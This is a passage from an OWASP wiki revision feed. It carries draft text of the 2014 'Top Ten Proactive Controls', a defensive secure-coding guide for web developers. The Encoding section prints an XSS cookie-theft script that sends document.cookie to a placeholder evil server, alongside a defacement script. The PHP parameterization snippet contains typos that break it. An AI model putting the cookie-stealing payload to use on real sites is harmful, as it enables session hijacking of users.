&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169954</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169954"/>
				<updated>2014-03-11T20:18:26Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection or Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
For more information on how to properly implement logging in an application, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. The stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if someone cancels or repeats a step?) and requirements derived from &amp;quot;abuse-cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of what personal and confidential information needs to be protected and tracked in the application. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
There are different areas where you need to be concerned about security in the architecture and design of a system:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls are enforced at the client, the web layer, the business layer, the data layer, and where you need to establish trust between different systems or different parts of the same system. Understand trust boundaries: what is inside or outside of a trust boundary, what actors or data can be trusted, what should not be? This determines where you need to make decisions about authentication, access control, data validation and encoding, encryption and logging.&lt;br /&gt;
&lt;br /&gt;
3) '''Understand the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (whether you should do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169953</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169953"/>
				<updated>2014-03-11T20:08:51Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
